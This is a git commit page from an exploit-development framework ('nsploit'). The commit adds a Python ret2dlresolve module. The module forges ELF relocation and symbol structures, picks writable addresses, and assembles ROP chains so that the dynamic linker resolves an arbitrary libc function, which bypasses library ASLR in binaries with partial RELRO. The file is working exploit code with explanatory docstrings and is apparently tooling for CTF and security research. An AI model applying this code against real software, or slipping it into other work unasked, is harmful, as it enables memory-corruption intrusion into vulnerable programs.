diff options
author | Malfurious <m@lfurio.us> | 2024-05-19 13:50:13 -0400 |
---|---|---|
committer | Malfurious <m@lfurio.us> | 2025-01-02 06:26:07 -0500 |
commit | 640726aa11369d328c1cdfe00b4344b6a925729c (patch) | |
tree | 380028a1fcd71b29f8e2949a6df64a9713245c80 | |
parent | 99891ac3402d113c44d46c3dded36ea7e28610df (diff) | |
download | nsploit-640726aa11369d328c1cdfe00b4344b6a925729c.tar.gz nsploit-640726aa11369d328c1cdfe00b4344b6a925729c.zip |
rop: Add ret2dlresolve exploit module
Signed-off-by: Malfurious <m@lfurio.us>
-rw-r--r-- | sploit/payload/__init__.py | 1 | ||||
-rw-r--r-- | sploit/payload/ret2dlresolve.py | 226 |
2 files changed, 227 insertions, 0 deletions
diff --git a/sploit/payload/__init__.py b/sploit/payload/__init__.py index 69f8056..da47cc1 100644 --- a/sploit/payload/__init__.py +++ b/sploit/payload/__init__.py @@ -2,4 +2,5 @@ from .fmtstring import * from .gadhint import * from .payload import * from .payload_entry import * +from .ret2dlresolve import * from .rop import * diff --git a/sploit/payload/ret2dlresolve.py b/sploit/payload/ret2dlresolve.py new file mode 100644 index 0000000..8862e22 --- /dev/null +++ b/sploit/payload/ret2dlresolve.py @@ -0,0 +1,226 @@ +""" +Perform "Return to dlresolve" dynamic linker attack + +The ret2dlresolve technique is useful to defeat library ASLR against targets +with partial relro (or less) and where no useable data leaks are available. +This is specifically a workaround for ASLR of libraries such as libc, and +addresses within the target executable are expected to be known (non-pic or +otherwise). + +When a dynamic library call is performed normally, applications jump to code +stubs in the .plt section to perform the actual relocation. This process relies +on a couple of meta-data structures in the ELF object: + +Elf*_Rel: Contains a pointer to the corresponding GOT entry, which is used to +cache the real subroutine address for later calls, as well as an info field +describing the relocation. This info field contains a type subfield and an +index into the ELF's symbol table for the symbol to be relocated. + +Elf*_Sym: Contains all the data relevant to the symbol. For the purposes of the +exploit, only the symbol name field is utilized (the others are set to zeroes). +The name field is an offset into the ELF's string table, and the actual symbol +name string can be found at this offset. + +All of the data tables mentioned above are located by their corresponding +section in the ELF. The relocation process however does not perform any bounds +checks to ensure the runtime data structures actually come from these sections. +By forging custom structures, and ensuring they can be written into memory at +precise locations, an attacker can trick the resolver to link any library +function they desire by setting up the equivalent PLT function call via ROP. + +Read on for more background details: +http://phrack.org/issues/58/4.html +https://gist.github.com/ricardo2197/8c7f6f5b8950ed6771c1cd3a116f7e62 + +Structure definitions from your standard elf.h header: + +typedef struct { + Elf32_Word st_name; /* 4b Symbol name (string tbl index) */ + Elf32_Addr st_value; /* 4b Symbol value */ + Elf32_Word st_size; /* 4b Symbol size */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf32_Section st_shndx; /* 2b Section index */ +} Elf32_Sym; + +typedef struct { + Elf64_Word st_name; /* 4b Symbol name (string tbl index) */ + unsigned char st_info; /* 1b Symbol type and binding */ + unsigned char st_other; /* 1b Symbol visibility */ + Elf64_Section st_shndx; /* 2b Section index */ + Elf64_Addr st_value; /* 8b Symbol value */ + Elf64_Xword st_size; /* 8b Symbol size */ +} Elf64_Sym; + +typedef struct { + Elf32_Addr r_offset; /* 4b Address */ + Elf32_Word r_info; /* 4b Relocation type and symbol index */ +} Elf32_Rel; + +typedef struct { + Elf64_Addr r_offset; /* 8b Address */ + Elf64_Xword r_info; /* 8b Relocation type and symbol index */ +} Elf64_Rel; + +Elf32_Rel.r_info = 0xAAAAAABB + | | + | type + symidx + +Elf64_Rel.r_info = 0xAAAAAAAABBBBBBBB + | | + symidx type +""" + +from sploit.arch import arch, itob +from sploit.payload.gadhint import GadHint +from sploit.payload.payload import Payload +from sploit.payload.payload_entry import padalign, padlen, pointer +from sploit.payload.rop import ROP +from sploit.rev.r2 import run_cmd + +_JMP_SLOT = 0x07 + +def _symsize(): + # Size of Elf*_Sym, used for padding and indexing + if arch.wordsize == 4: return 16 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _relsize(): + # Size of Elf*_Rel, used only for indexing on 64bit (32bit uses offset) + if arch.wordsize == 4: return 1 + elif arch.wordsize == 8: return 24 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +def _infoshift(): + # Partition subfields of Elf*_Rel.r_info + if arch.wordsize == 4: return 8 + elif arch.wordsize == 8: return 32 + raise ValueError("Ret2dlresolve: Architecture wordsize unsupported") + +class Ret2dlresolve(ROP): + # Use constructor from ROP class + + def reloc(self, symbol_name): + """ + Generate relocation structures for the function with given symbol name. + + The returned data structures are packed into a single Payload object. + This payload must be written into the target's memory before attempting + to use it with Ret2dlresolve.call(). Furthermore, the chosen write + location must be assigned to the payload base property, so that internal + pointers may take on the appropriate values. + + See Ret2dlresolve.determine_address() for advice on choosing a write + location. + + symbol_name (str): Name of library function to link + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + strtab = binary.sym.sect['.dynstr'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + # Elf*_Rel.r_info + info = lambda x: ((int(x - symtab) // _symsize()) << _infoshift()) | _JMP_SLOT + + # The sym structure is the most picky about its location in memory. So + # it is listed first in the main dlres struct, which can be placed at + # the desired location. + sym = Payload() + sym.name = pointer("symbol_string", lambda x: x - strtab) + sym.pad = padlen(_symsize(), b"\x00") + sym.symbol_string = symbol_name + + dlres = Payload() + dlres.symalign = padalign(_symsize(), reference=symtab) + dlres.sym = sym + dlres.relalign = padalign(_relsize(), reference=jmprel) + dlres.offset = pointer() + dlres.info = pointer("sym", info) + return dlres + + def determine_address(self, start=None, end=None, n=0): + """ + Determine recommended address for relocation structures. + + There are a couple considerations to make when determining the memory + locations. First of all, the location must be writable. More + importantly, since most items are referred to by an array index, the + structures themselves must be properly aligned, reference to the array + origins. + + The payload returned from Ret2dlresolve.reloc() has some of these + alignments built in, but one crucial one is not. The index implied by + Elf*_Sym's offset from the symtab base is the same index used to lookup + symbol version information, reference to versym. The data at this index + must constitute a valid version half-word (16-bits). This function + attempts to ensure that the coincident version info for any returned + value is the data \x00\x00. Getting this wrong can cause the dlresolve + routine to crash. + + start (int): Minimum address to recommend (default: .bss section address) + end (int): Maximum address to recommend (default: end of memory page) + n (int): Return the Nth useable address within the defined range + """ + binary = self.objects[0] + symtab = binary.sym.sect['.dynsym'] + versym = binary.sym.sect['.gnu.version'] + bss = binary.sym.sect['.bss'] + + if start is None: start = bss + if end is None: end = (start & ~0xfff) + 0x1000 + + zero_words = run_cmd(binary.path, "/x 0000") + zero_words = [ int(x.split(" ")[0], 0) for x in zero_words ] + + # Size of version entry is always 2 bytes. + veroff = [ x - versym for x in zero_words ] + idx = [ x//2 for x in veroff if x%2 == 0 ] + symoff = [ x * _symsize() for x in idx ] + addr = [ x + symtab for x in symoff ] + addr = [ x for x in addr if start <= x < end ] + + if len(addr) > n: + return addr[n] + + raise AssertionError("Ret2dlresolve: No suitable memory location") + + # Overrides ROP.call() + def call(self, reloc, *params): + """ + Return a ROP payload to call function via dynamic linker. + + reloc's base address must be set appropriately. + + reloc (Payload): Relocation payload obtained from Ret2dlresolve.reloc() + *params (int): Remaining positional args are passed to function. + """ + binary = self.objects[0] + plt = binary.sym.sect['.plt'] + + try: + jmprel = binary.sym.sect['.rel.plt'] + except KeyError: + jmprel = binary.sym.sect['.rela.plt'] + + register_params = dict(zip(arch.funcargs, params)) + stack_params = params[len(register_params):] + index = int(reloc.offset - jmprel) // _relsize() + + reqs = GadHint(requirements=register_params) + call = GadHint(index, stack=stack_params) + ret = GadHint(self.search_gadget(arch.ret)) + + chain = Payload() + try: chain.requirements = self.gadget(reqs).requirements + except KeyError: pass + chain.alignment = padalign(0, itob(ret)) + chain.plt = plt + chain.call = self.gadget(call) + return chain |